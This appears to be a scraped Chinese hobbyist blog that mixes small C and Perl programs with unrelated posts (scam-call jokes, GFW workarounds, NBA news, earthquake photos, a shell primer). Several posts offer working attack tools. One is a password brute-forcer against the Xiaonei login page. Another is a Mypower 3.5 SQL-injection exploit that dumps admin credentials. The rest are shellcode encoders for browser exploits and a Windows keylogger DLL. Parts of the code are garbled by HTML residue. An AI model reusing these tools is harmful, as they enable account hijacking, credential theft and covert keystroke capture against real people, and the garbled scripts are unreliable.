一个c语言写的小程序读取某文本文件两个特定字符串之间的字符

一个c语言写的小程序读取某文本文件两个特定字符串之间的字符,嗯写到另一个文件里。
前几天弄得好像没这样的函数,写的不好,就是玩玩。

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
FILE *fp,*fpout;
char ch; //读取字符
char infile[256];
char find[20]={'\0'};
char stop[20]={'\0'};
int flag=0;
int sflag=0;

/*
flag 状态
0 初始状态
1 查找开始状态
2 开始状态
sflag 状态
1 查找结束状态
2 结束状态

*/

int i=0;
int k=0;
memset(infile,0,201); //文件路径
memset(find,0,20);
memset(stop,0,20);

if(argc==1)
{
printf("Plz input the full file path...\n");
return 0;
}
if(strlen(argv[1])>255)
{
printf("The file path too long...\n");
return 0;
}
strcpy(infile,argv[1]);

fp=fopen(infile,"r");
if(NULL==fp)
{
printf("Open file failed!\n");
return 0;
}
fpout=fopen("D:\\test.txt","w+");
if(NULL==fpout)
{
printf("Open file failed!\n");
return 0;
}

ch=fgetc(fp);
while(ch!=EOF)
{
if(flag!=2&&ch=='1')
{
//printf("Find 1\n");
flag=1;
i=0;
}
///*给程序增加结束标志
if(flag==2&&ch=='C')
{
sflag=1;
k=0;
putchar(ch);
}
if(sflag==1)
{
if(k<18)
{
stop[k]=ch;
stop[k+1]='\0';
k++;
//printf("%s\n",stop);
if(!strncmp(stop,"stopflag",8))
{
sflag=2;
fclose(fp);
fclose(fpout);
return 0;
}
}
}
//*/
if(flag==1&&i<18)
{
//putchar(ch);
find[i]=ch;
find[i+1]='\0';
i++;
if(!strncmp(find,"startflag",9))
{
flag=2;
}
//else flag=0;
}
if(flag==2)
{
putchar(ch);
fputc(ch,fpout);
}
ch=fgetc(fp);
}
fclose(fp);
fclose(fpout);
return 0;
}

刚学Perl时写得几个程序(-)——校内网账号密码探测程序

校内网连个验证码都没有,所以我就写了个小东西尝试了下。这个也是我刚学perl时候写的。

单线程破解起来会很慢的。

some perl files writen when I learn perl.

#===================================================================================================================
#!/usr/bin/perl
# detectxn.pl
# For Detect Xiaonei
# By c4rp3nt3r c4rp3nt3r[4]gmail.com Just for fun
# If you wanna to detect sombody's account ,please use Dansnow...
#Thanks google.com,milw0rm.com,xfocus.net...
use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}

my $target = "http://www.xiaonei.com/Login.do";
my ($user, $passdic) = ($ARGV[0], $ARGV[1],);
my $lwp = new LWP::UserAgent or die;

Usage();
try_login($user,$passdic) or die "[-] login failed with $user and dic:$passdic\n";

sub try_login
{
my ($user, $passdic) = @_;
my $okflag = 0;
open(FH,"<$passdic");
while() #readdicfile
{
chomp;
my $pwd=$_;
printf("Now try ...".$user."~~~~".$pwd);
my $res = $lwp->post( $target,
['email' => $user,
'password' => $pwd,
'origURL' => "http://www.xiaonei.com/SysHome.do",
]
);
#To judge if the login is sucess then do something $res->content eq “The URL has moved here
#my $myres=$res->content; #for test
#printf($myres) ; #for test
#if($myres=~/http:\/\/home.xiaonei.com\/Home.do"/) #To judge if the login is sucess
#I xchanged two above by the following one
if($res->status_line =~ /^302/)
{
$okflag = 1;
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
print("[+]".$res->status_line."\nlogin OK with : $user~~~~$pwd \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
last;
}
else
{
printf("[-]".$res->status_line." login failed!\n");
}
}
close(FH);
if($okflag == 0)
{
printf("\n------------------------------------------------------------------------\n");
printf("[-]login failed with $user and dicfile $passdic...");
printf("\n------------------------------------------------------------------------\n");
}
return 1;
}

sub Usage
{
print("\n");
print("[+] Usage: $0 \n");
print("[+] Coded by Alone\n");
print("\n");
}
#===================================================================================================================



刚学Perl时写的几个程序(二)——SQL Injection Mypower 3.5 Exploit

说明一下alolinux也是我的一ID。

#===========================================
#!/usr/bin/perl
# dlexp.pl
# For educational purpose
# By c4rp3nt3r[4]gmail.com Just for fun
# Thanks google.com,milw0rm.com

use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}

my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]:'http://'.$ARGV[0];
my $lwp = new LWP::UserAgent or die;
#my $cookie_jar = new HTTP::Cookies or die;
#$lwp->cookie_jar( $cookie_jar );
Usage();
print "\nMypower 3.5 Exploit By Alone\n";
my $sql = 'Article_Print.asp?ArticleID=-1 union (select top 1 1,1,username,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin)';
$target .= $sql;
#printf($target."\n");
my $res = $lwp->get($target);
my $answer = $res->content;

if($res->content =~ /\n");
print("[+] Coded by Alone\n");
print("\n");
}
# Mypower 3.5 Exploit By Alone
#===========================================

收集两个将shllcode转化为浏览器能识别的Unicode形式的perl代码

#!/usr/bin/perl
# win32_downloadexec - URL=http://xxxxxx/c.exe Size=392 Encoder=PexFnstenvSub http://metasploit.com

$sco=#Input your shellcode here;

my $len=length($sco);
my @temp;
my $i=0;
my $sco_text;
while($i<$len)
{
$temp[$i]=sprintf("%.2x",ord(substr($sco,$i,1)));
$i++;
}
$i=0;
while($i<$len)
{
if($i%2!=0)
{
$sco_text.='%u'.$temp[$i].$temp[$i-1];
}
$i++;
}
print "The Result of Unicode Shellcode Is:";
print "\n\n-----------------Start--------------------\n\n";
print $sco_text;
print "\n\n-----------------End----------------------\n\n";
print "Output > sc.txt";

open(FILE, "> sc.txt");
#*STDOUT = *MYOUT;

print FILE "The Result of Unicode Shellcode Is:";
print FILE "\n\n-----------------Start--------------------\n\n";
print FILE $sco_text;
print FILE "\n\n-----------------End----------------------\n\n";
close(FILE);
# -EOF-

#--------------------------------------------------------------------------------
#!/usr/bin/perl

$sco=#Input your shellcode here;

$sco=convert_sco($sco);

print "The Result of Unicode Shellcode Is:";
print "\n\n-----------------Start--------------------\n\n";
print $sco;
print "\n\n-----------------End----------------------\n\n";
print "Output > sc.txt";

open(FILE, "> sc.txt");
#*STDOUT = *MYOUT;

print FILE "The Result of Unicode Shellcode Is:";
print FILE "\n\n-----------------Start--------------------\n\n";
print FILE $sco;
print FILE "\n\n-----------------End----------------------\n\n";
close(FILE);

#

sub convert_sco {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';

my $idx = 0;

if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}

while ($idx < style="line-height: normal; "> my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}

return $code;
}

perl 写MD5 Cracker 读取www.milw0rm.com破解md5

MD5 Cracker 读取www.milw0rm.com破解md5
2009-03-21 22:43
#!/usr/bin/perl
# cmd5.pl
# By c4rp3nt3r c4rp3nt3r[at]gmail.com Just for fun
#

use POSIX;
use LWP::UserAgent;

if(@ARGV < lwp =" new">\n");
print("[+] Coded by c4rp3nt3r http://hi.baidu.com/c4rp3nt3r\n");
print("\n");

my $url = 'http://www.milw0rm.com/cracker/search.php';
my $Md5pass = $ARGV[0];
#printf "$Md5pass";

my $res = $lwp->post($url,
['hash' => $Md5pass,
'Submit' => 'Submit',
]
);
#my $answer = $res->content;
#print $answer;
if($res->content =~ /90>.*<[0-9a-zA-Z]/m) { $string = $&; #print($string); $string =~ s/90>md5//;
$string=~ /90>.*<[0-9a-zA-Z]/m; $matched = $&; $matched =~ s/90>//;
$matched =~ s/<\/TD>
#print($matched);

}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "[+] Hash : $Md5pass\n";
print "[+] PASS : $matched\n";
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";

# MD5 Cracker By c4rp3nt3r

卡巴斯基不能正常启动卸载修复的解决办法

卡巴文件损坏,启动不了,卸载不了,用其自带的工具修复也不行。

电脑不能正常注销重启和关闭,不想重装系统。经过我一下段时间的研究发现解决方法:

把如下键值清空

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows下的

AppInit_DLLs

然后把avp.exe改名后,重启就能卸载了。

爆笑!把骗子气晕,你帮我定个叉烧饭吧

今天终于收到骗子的短信了,说我的建行卡在天河城消费9000元,要扣我的钱。提供了一个查询电话是85971106。大家能帮我打这个电话叫一个叉烧饭吗?

Pcc
我:打了,叫了一个叉烧饭,他说他不是快餐店,是建行×××中心

轻如燕
我:打了。麻烦人我来个叉烧、烧鹅饭。
对方吼着说:都说不是送餐电话喽!!!

凉背心
我:喂~~~,是建行×××中心吗?
对方:是呀!请问有什么事可以帮到你的
我:请帮我定个烧鹅饭
对方:~~~~~~(把电话挂了)

prince
建行×××中心吗?
是的,请问有什么事可以帮到你
我收到短信我天河城消费了9000元
请稍等……是的,现在我们要……
不会是诈骗集团吧
哦,你误会了,我们这里是……
那你帮我定个叉烧饭吧
什么?
没什么,就是突然想吃叉烧饭
%%?%?%**嘟??嘟??嘟??

pcc
我又打了一次啊:
我:你们搞什么啊,订的超烧饭怎么还不到?
对方:~~~~~~挂机

禁色
打通了
我:请问是建行×××中心吗?
对方:是的这里是建行×××中心
我:请问你们的地址在哪里啊?
对方:越秀区赵德路(没听清楚)XXX号
我:哦,那您能帮我定个叉烧饭吗?
对方:啊?
我:能不能去隔壁帮我订个叉烧饭?
~~~~~~~~~~挂了

prince
又打了一次
对方:你好
我: 我刚才定了一份叉烧可以改成腊味饭吗?
挂了~

fsyanzi
打通了,我说订餐,还没等我说完就挂了

浪淘纱干洗
刚打电话叫下午茶
我:这里是建行×××中心吗
电话:是,你~~~
我:请帮我送杯奶茶加曲奇到天河区go-vern-ment,多谢
电话:嘟~~~~~~

pcc
我又打了:
我:你这里是哪里啊?
对方:建行×××中心。
我:哦,我这里是消协,有人投诉你们接了电话不送叉烧饭去~
对方:~~~~~。

香雪
打通了:
接线员:喂?
我:请问是建行中心吗?
接线员犹豫了5秒钟后发出了声音:是的。
我:听说你们这里发钱?
接线员:发钱?发什么钱?
我:不知道啊,都在传说你们这里发钱啊。你们在哪里啊,告诉我地址。
接线员:你在哪里。
我:广州。
接线员:广州哪里?
我:不知道,他们说这里叫天湖。还有他们说你们的烧鹅饭很好吃。
接线员知道是玩弄了,于是:你等着我们给你送钱去。
我:好啊,等你个大骗子!
嘟。。。。。。。。

同事们已笑成一片。另:此电话肯定是小灵通。

番鬼荔枝
(拨通电话,没吭声)
对方:喂,你好~
(还是没吭声。。。)
对方:你好,这里是银行×××中心
问:哪家银行?
对方:建设银行
问:申请×××能免费送叉烧饭不?
对方:嘟~~~~

prince
你好,这里是建行×××中心
你好,请帮我找一下叉烧饭

prince
女:你好
我:恩,我挺好的
女:你好,我这里是建行×××中心
我:帮我找一下叉烧饭
(女的不说话,和旁边的人嘀咕了一下,把电话给了一男的)
男:你找谁?
我:我找叉烧饭
男:哦~~~你找叉烧饭有什么事吗
我:不告诉你
男:哦~~~~叉烧饭不在这里干了哦
我:他们两个都不在这里干了吗?
男:两个?
我:是啊,我朋友,一个叉烧,一个饭
男:(他竟然笑了~~~)是啊,他们都不在这里干了
我:为什么?
男:反正他们就是不干了
我:是不是你们太蠢,业绩不好,骗不到钱啊?
他就把电话挂了

丫丫怡
我:喂~~~,是建行×××中心吗?
对方:是呀!请问有什么事可以帮到你的
我:我刚刚收到信息说我的卡在沃尔玛消费了9000元。咋回事呀,我都没有去过沃尔玛呀。急死我了。
对方:那请您提供你的卡号。我在电脑里帮您查一下。
我:哪个卡号呀,我卡号好多,都不知道具体哪个了。
对方:就是你建行的×××号呀,
我:我建行×××好多张哦,
对方:半天没出声。。。。
我:小姐不好意思现在几点了,
对方:三点
我:我还没吃中饭呢,那你帮我叫个排骨饭吧,要加辣椒酱哦
对方:一直没出声。。。。过了将近30秒,说:“你们这样很无聊知道吗?
我:嘿嘿,再怎么无聊也不如你们无耻吧!
对方:不出声。。。。
我:等了将近有30秒,挂机了。。。。
是我自己挂机的哦,没劲。。我也没想好说啥,因为已经想笑了。

左手
我打通了,是男的接的:
男:你好
我:你好,建行中心么?
男:这里是建行中心,请问有什么可以帮到你?
我:我收到个信息,说我建行卡消费了9000块,我想问问是什么情况
男:你把你的账号报给我,我可以帮你查询
我:哦,那我消费这么多有积分吗?
男:有的
我:那能兑现么?
男:可以兑现的,请你把账号报给我
我:那给我兑现一盒叉烧饭吧
男:~~~~~~
我:要不双拼也成
那男的挂断电话,我笑趴了

香雪
一义工伙伴打了:
鱼:没有消费,为什么说我有消费?
对方:手机号和卡号?
鱼:那我重新申请一个卡可以吗?
对方:不可以
鱼:今年周老虎很热门哦,帮我订份周老虎肉吧。
对方:我们这里没有
鱼:那就帮我在天娱广场定个房间,贵的也成。
对方:好啊!
估计那边也做好应对措施了,不急不火。不过很多人打过去总是对他们一个警告,群众的智慧是无穷的~

流德滑
我打了。
她:喂~~你好(很温柔)
我:你是建行吗?
她.对,是的!
我:我昨天收到信息说我在天河城消费了5000块!怎么回事?
她:你在一个地方消费了我们建行都会短信通知你的!
我:没有去那里啊!
她:那你发你的姓名,电话,卡号,我帮你查询一下!
我:你这是建行不?(语气突然提高)
她:我这里是,不然跟你说那么多干嘛?(声音有点抖)
我:那好,叫你们负责人来!顺便帮我来个叉烧饭,加蛋!

mail2blogger――用电子邮箱写博客




所谓的mail2blogger,Google总是能开发出有创意的新产品,虽然现在大陆的GFW屏蔽了大陆地区网民对blogger的访问。

这次的屏蔽比较彻底,"铲草除根"似的,连后台都不能登录。
但是我们依旧可以用mail2blogger的方式来写博客。
只要想诉说就可以突破障碍。
方法就是在设置的“电子邮件和移动博客”标签下设置发布选项,填一个邮箱地址就可以了。
注意邮件的主题就是正文的标题,内容就是正文。

最新几个可以投放adsense广告的博客


版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明

这是我的总结。欢迎大家补充。
1.flixya
www.flixya.com
英文的分享视频、照片日志的博客,可以绑定adsense账号。应为是英文的站所以单价比较高!
人气比较火!这个事很实用的!
可以获得100%广告收益。
2.Google的blogger
www.blogger.com
现在还在被GFW屏蔽中,目前大陆地区不能访问(可以用代理或vpn访问),blogger已经被Google收购,可以绑定和申请adsense,投放广告。
这个也适合做英文的博客来放广告。还可以绑定自己的域名呢。
可以获得100%广告收益。
3.和讯博客
blog.hexun.com
积分超过3000分可以设置自定义html代码,可用于投放adsense广告。人气不错!财经类的人是比较多!
可以获得100%广告收益。
4.天丰网
www.skyfa.com
这个也是可以投放adsense,也是跟帐号绑定。自动投放的。
这个可以获得80%收益,剩下20%归托管方。
5.博客大巴
www.blogbus.com
这个是目前阶段写博客最好的,(除了Google的blogger),用户可以自定义三个html标签,文章中可以html代码编辑没什么限制。非常自由。相比和讯要230000分才能添加js iframe等的html代码(每天最多只能10000分)是非常自由的,界面也非常简洁。我个人也做了一个,共享家园,欢迎来执政批评。

终于又能访问blogsopt.com了

万能的GFW,其实穿墙没那么难啊~~~O(∩_∩)O哈哈哈~自由了~~~

一睹了bing.com的芳容。大陆地区的网民真可怜啊~~~连Youtube都不能访问,最近更是屏蔽了一批不错的网站。真是很郁闷,好在现在自由了。

Rocket Win!!!

I can't blelive!
yeah!!!

Because of foot injury,Yao Ming out of NBA playoffs

"In order for the bone to heal properly, Yao will need to immobilise the foot by wearing a walking boot," Dr. Tom Clanton, the Rockets' team physician, said in a statement on the team's website (www.nba.com/rockets).

"He should be able to resume his regular workout routine some time between the next eight to 12 weeks," Clanton added.

Yao was originally thought to have sprained his left ankle in an 108-94 loss to the Los Angeles Lakers in game three of their Western Conference semi-finals on Friday.

Yao's injury will come as a blow to the Rockets who trail 2-1 in their best-of-seven series. The teams travel to Houston on Sunday for game four.

Yao broke the same foot in February 2008 and missed the NBA playoffs last year. He returned to play for China in the Beijing Olympics.

Changing privilege levels

Changing privilege levels

like the following for example:

void EnableDebugPriv( void )

{

HANDLE hToken;

LUID sedebugnameValue;

TOKEN_PRIVILEGES tkp;


if ( ! OpenProcessToken( GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )

return;

if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){

CloseHandle( hToken );

return;

}

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = 2;//SE_PRIVILEGE_ENABLED;

if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )

CloseHandle( hToken );

}


When an application runs with an EUID different from its RUID, it's to provide the user with privileges he needs but doesn't have (file access, reserved system calls...). However these privileges are only needed for a very short time, for instance when opening a file, otherwise the application is able to run with its user's privileges. It's possible to temporarily change an application EUID with the system-call :

  int seteuid (uid_t uid);

A process can always change its EUID value giving it the one of its RUID. In that case, the old UID is kept in a saved field called SUID (Saved UID) different from SID (Session ID) used for control terminal management. It's always possible to get the SUID back to use it as EUID. Of course, a program having a null EUID (root) can change at will both its EUID and RUID (it's the way /bin/su works).
To reduce the risks of attacks, it's suggested to change the EUID and use the RUID of the users instead. When a portion of code needs privileges corresponding to those of the file's owner, it's possible to put the Saved UID into the EUID. Here is an example :

  uid_t e_uid_initial;
  uid_t r_uid;

  int
  main (int argc, char * argv [])
  {
    /* Saves the different UIDs */
    e_uid_initial = geteuid ();
    r_uid = getuid ();

    /* limits access rights to the ones of the
     * user launching the program */
    seteuid (r_uid);
    ...
    privileged_function ();
    ...
  }

  void
  privileged_function (void)
  {
    /* Gets initial privileges back */
    seteuid (e_uid_initial);
    ...
    /* Portion needing privileges */
    ...
    /* Back to the rights of the runner */
    seteuid (r_uid);
  }


This method is much more secure than the unfortunately all to common one consisting of using the initial EUID and then temporarily reducing the privileges just before doing a "risky" operation. However this privilege reduction is useless against buffer-overflow attacks. As we'll see in a next article, these attacks intend to ask the application to execute personal instructions and can contain the system-calls needed to make the privilege level higher. Nevertheless, this approach protects from external commands and from most race conditions.



A Message Hook Demo

#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
#pragma comment(lib, "IMM32.LIB")

HHOOK        g_hHook            = NULL;       
HINSTANCE    g_hHinstance    = NULL;       
BOOL bHooked = FALSE;
DWORD   m_dwLastMsgTime = GetTickCount();
void SaveInfo(char buffer[]);

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{   
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);

    MSG* pmsg = (PMSG)lParam;
char strChar[2];
char KeyName[20];
//HWND hwa,hwf;

// 防止消息重复产生记录重复,以pMsg->time判断
if ((nCode != HC_ACTION) ||
   ((pmsg->message != WM_IME_COMPOSITION) && (pmsg->message != WM_CHAR)) ||
   (m_dwLastMsgTime == pmsg->time))
{
   return(lResult);
}
m_dwLastMsgTime = pmsg->time;

        switch (pmsg->message)
        {
  
   //
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        //MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }
                  
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
                   
                    dwSize += sizeof(WCHAR);
      ZeroMemory(lpstr,sizeof(lpstr));

                   
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

      SaveInfo(lpstr);
                    ImmReleaseContext(hWnd, hIMC);
      //delete szSave;
                }
            }
            break;
   
        case WM_CHAR:
            {

     if (pmsg->wParam <= 127 && pmsg->wParam >= 20)
     {
      strChar[0] = pmsg->wParam;
      strChar[1] = '\0';
      SaveInfo(strChar);
     }
     else if (pmsg->wParam == VK_RETURN)
     {
      SaveInfo("\r\n");
     }
     else
     {
      memset(KeyName, 0, sizeof(KeyName));
      if (GetKeyNameText(pmsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
      {
       KeyName[0] = '[';
       lstrcat(KeyName, "]");
       SaveInfo(KeyName);
      }
     }

            }
            break;
        }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
if(!bHooked)
{  
   g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
   bHooked = TRUE;  
}
    return TRUE;
   
}

HOOK_API BOOL UnHook()
{
if(bHooked)
{
   bHooked = FALSE;
   return UnhookWindowsHookEx(g_hHook);
  
}

}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
   g_hHinstance=(struct HINSTANCE__ *)hModule;
   //InstallHook();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}
void SaveInfo(char buffer[])
{
FILE* fpLog;
fpLog=fopen("c:\\report.txt","a+");
fwrite(buffer,strlen(buffer),1,fpLog);
fclose(fpLog);

}


FILECUT a linux console c source

#include
#include
#include
#include

/*
void version(void);
//print banner
void version(void)
    {
    printf("\n");
    printf("\t++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
    printf("\t+ \tFILECUT [VERSION1.1] by Alone             +\n");
    printf("\t+ \t(C) Copyright 2008-2010                  +\n");
    printf("\t+\tEmail:c4rp3nt3r@gmail.com                 +\n");
    printf("\t++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n");
    }

*/

void hzcount(char * hz);


FILE *fp1,*fp2;

int main(int argc,char ** argv)
    {
   
    int i;
    long n,s_max_f,j=0;        //single max content of file that will be created
    int fcoutn=0;            //number of files that created
    char data[257]={'\0'};        //databuffer for read then write
   
    char hz[20]={"_0001."};
    char name[30]={'\0'};
    char filehz[20]={'\0'};
    char tran[30]={'\0'};        //get the file name without .hz
    char curdir[256]={'\0'};    //the buffer to store the current dir
    char tmpdir[256]={'\0'};    //tempdir
   
    char *p;            //tmp pointer

    /*version(); //print banner*/

    if(argc != 3)
        {
        printf("[-]Please    Input the file name!\n");
        printf("[*]Usage: argv[0] \n");
        exit(0);
        }
    s_max_f=atoi(argv[2]);
    //printf("s_max_f).........%d",s_max_f);
   


    strcpy(tran,argv[1]);/*去掉路径得到文件名*/
    p=strrchr(tran,'/');
    if(p!=NULL)
        {
        strcpy(tran,p+1);
        }
    //printf("p ...%s\ntran...%s",p,tran);

    for(i=0;tran[i]!='\0';i++)
        {
        if(tran[i]=='.')
            {
            strcpy(filehz,&tran[i+1]);
            tran[i]='\0';
            //printf("now the filehz is ...%s",filehz);
            break;
            }
        }
    /*后缀处理*/

    strcpy(name,tran);

    //mkdir 需为绝对路径 后面是0777
    getcwd(curdir,256);
    strcat(curdir,"/");
    strcat(curdir,tran);

    //printf("tran should be ...%s\n",tran);
    //printf("curdir should be ...%s\n",curdir);
    mkdir(curdir,0777);
   
    strcat(curdir,"/");
    strcpy(tmpdir,curdir);
    //printf("the name should be ddd...%s\n",name);


    strcat(hz,filehz);
    //printf("the hz should be _0001.txt%s\n",hz);
    strcat(name,hz);
    //printf("the name should be ddd0001.txt%s\n",name);
    strcat(tmpdir,name);
    //printf("the tmpdir should be ......%s\n",tmpdir);
   
    /*文件操作*/
    /*打开源文件*/

    if((fp1=fopen(argv[1],"rb"))==NULL)
        {
        printf("\n cannot open %s \n",argv[1]);
        exit(0);
        }

    /*打开目标文件*/
    if((fp2=fopen(tmpdir,"wb"))==NULL)
        {
        printf("\n cannot open %s \n",tmpdir);
        exit(0);
        }
   
    n=0;   
    while(!feof(fp1))
        {
       
        fread(data,256,1,fp1);n++;
        if(n*256>s_max_f*1024)
            {
            fclose(fp2);
            fcoutn++;

            hzcount(hz);
            strcpy(name,tran);
            strcat(name,hz);
            strcpy(tmpdir,curdir);
            strcat(tmpdir,name);
           
            if((fp2=fopen(tmpdir,"wb"))==NULL)
                {
                printf("\ncannot open %s.",name);
                exit(0);
                }
            n=0;
            }


        fwrite(data,256,1,fp2);
       
        for(j=0;j<257;j++)>

VC++ 6.0 simple demo to dosomthing on the day

with timer~~~

/*

by c4rp3nt3r@gmail.com

http://c4rp3nt3r.blogspot.com

*/

int main(int argc, char* argv[])
{
   char szFormatDt[6];
   char szBirthDay[6];
   szBirthDay[0]='0';
   szBirthDay[1]='3';
   szBirthDay[2]='-';
   szBirthDay[3]='0';
   szBirthDay[4]='4';
   szBirthDay[5]='\0';

        int length = GetDateFormat (LOCALE_USER_DEFAULT,
          0,                   // Flags
          NULL,
          "MM-dd",                // Format
          szFormatDt,
          sizeof(szFormatDt)) ;

       if(strcmp(szBirthDay,szFormatDt)==0)
    {
   HANDLE hFile;
   hFile = CreateFile
    (
    "forfun.txt", 
    GENERIC_WRITE, 
    FILE_SHARE_WRITE, 
    NULL, 
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL, 
    NULL
    );
   if (hFile == NULL)
    return FALSE;
   char szInfo[] ="Just For Fun !"
"By 
c4rp3nt3r@gmail.com\r\n";
   DWORD dwBytes;
   WriteFile(hFile, szInfo, sizeof(szInfo), &dwBytes, NULL);
   CloseHandle(hFile);
   WinExec("notepad.exe forfun.txt",1);
   Sleep(1000);
   DeleteFile("forfun.txt");
  
    }
return 0;
}

汶川地震一周年:绽放的笑脸

汶川地震一周年:绽放的笑脸


2009年05月10日19:42  来源:新华社


四川青川县马鹿小学的孩子们拿出印有他们照片的画册,请记者为他们留影。去年地震时,他们自发在公路旁打出自制感恩的标语牌,慰问援助队伍,感动了无数人(4月21日摄)。“5·12”汶川地震一周年之际,记者走访地震重灾区——四川省青川县、陕西省宁强县,所到之处,都是一派繁忙的建设场景,灾区人民的脸上洋溢的笑容,显现出人们对美好新家园的期盼和重建家园的坚强信心。新华社记者 陶明 摄

5月1日,地震重灾区四川省青川县姚渡镇7岁的王馨小朋友正在帮妈妈准备夜市上的餐饮材料。她家每晚做火锅生意,有了一定的收入。新华社记者 陶明 摄
四川青川县木鱼中学的不少孩子已逐渐走出地震的阴影,脸上充满着自信的笑(4月22日摄)。新华社记者 陶明 摄
四川青川县板桥乡周家沟村白培敏(右)夫妇正在自建新房,当地政府为他们的新房补助了1.6万元(4月22日摄)。新华社记者 陶明 摄
青川县木鱼镇的农民正在田里种薄膜西瓜,脸上洋溢着笑容(4月22日摄)。新华社记者 陶明 摄
5月1日,陕西省宁强县汉源镇的居民在广场上跳起羌族舞蹈。新华社记者 陶明 摄

linux shell初学者的入门知识

什么是shell?如何创建和运行linux shell程序?
1.建立和运行 shell 程序
什么是 shell 程序呢? 简单的说 shell 程序就是一个包含若干行 shell 或者 linux 命令的文件.象编写高级语
言的程序一样,编写一个 shell 程序需要一个文本编辑器.如 VI 等.在文本编辑环境下,依据 shell 的语法规则,
输入一些 shell/linux 命令行,形成一个完整的程序文件.
执行 shell 程序文件有三种方法
(1)#chmod +x file(在/etc/profile 中,加入 export PATH=${PATH}:~/yourpath,就可以在命令行下直接运
行,像执行普通命令一样)
(2)#sh file
(3)# . file
(4)#source file
在编写 shell 时,第一行一定要指明系统需要那种 shell 解释你的 shell 程序,如:#! /bin/bash,
#! /bin/csh,/bin/tcsh,还是#! /bin/pdksh .
2.shell 中的变量
(1)常用系统变量
$ # :保存程序命令行参数的数目
$ ? :保存前一个命令的返回码
$ 0 :保存程序名
$ * :以("$1 $2...")的形式保存所有输入的命令行参数
$ @ :以("$1""$2"...)的形式保存所有输入的命令行参数
(2)定义变量
shell 语言是非类型的解释型语言,不象用 C++/JAVA 语言编程时需要事先声明变量.给一个变量赋值,实际上
就是定义了变量.
在 linux 支持的所有 shell 中,都可以用赋值符号(=)为变量赋值.如:
abc=9 (bash/pdksh 不能在等号两侧留下空格 )
set abc = 9 (tcsh/csh)
由于 shell 程序的变量是无类型的,所以用户可以使用同一个变量时而存放字符时而存放整数.如:
name=abc (bash/pdksh)
set name = abc (tcsh)
在变量赋值之后,只需在变量前面加一个$去引用.如:
echo $abc
(3)位置变量
当运行一个支持多个命令行参数的 shell 程序时,这些变量的值将分别存放在位置变量里.
其中第一个参数存放在位置变量 1,第二个参数存放在位置变量 2,依次类推...,shell 保留
这些变量,不允许用户以令外的方式定义他们.同别的变量,用$符号引用他们.
3.shell 中引号的使用方法
shell 使用引号(单引号/双引号)和反斜线("\")用于向 shell 解释器屏蔽一些特殊字符.反引号(")对 shell
则有特殊意义.如:
abc="how are you" (bash/pdksh)
set abc = "how are you" (tcsh)
这个命令行把三个单词组成的字符串 how are you 作为一个整体赋值给变量 abc.
abc1='@LOGNAME,how are you!' (bash/pdksh)
set abc1='$LOGNAME,how are you!' (tcsh)
abc2="$LOGNAME,how are you!" (bash/pdksh)
set abc2="$LOGNAME,how are you!" (tcsh)
LOGNAME 变量是保存当前用户名的 shell 变量,假设他的当前值是:wang.执行完两条命令后,abc1 的内容是:
$LOGNAME, how are you!.而 abc2 的内容是;wang, how are you!.象单引号一样,反斜线也能屏蔽所有特殊字
符.但是他一次只能屏蔽一个字符.而不能屏蔽一组字符.
反引号的功能不同于以上的三种符号.他不具有屏蔽特殊字符的功能.但是可以通过他将一个命令的运行结果传
递给另外一个命令.如:
contents=`ls` (bash/pdksh)
set contents = `ls` (tcsh)

Linux下实现Email和Fax的互转互发

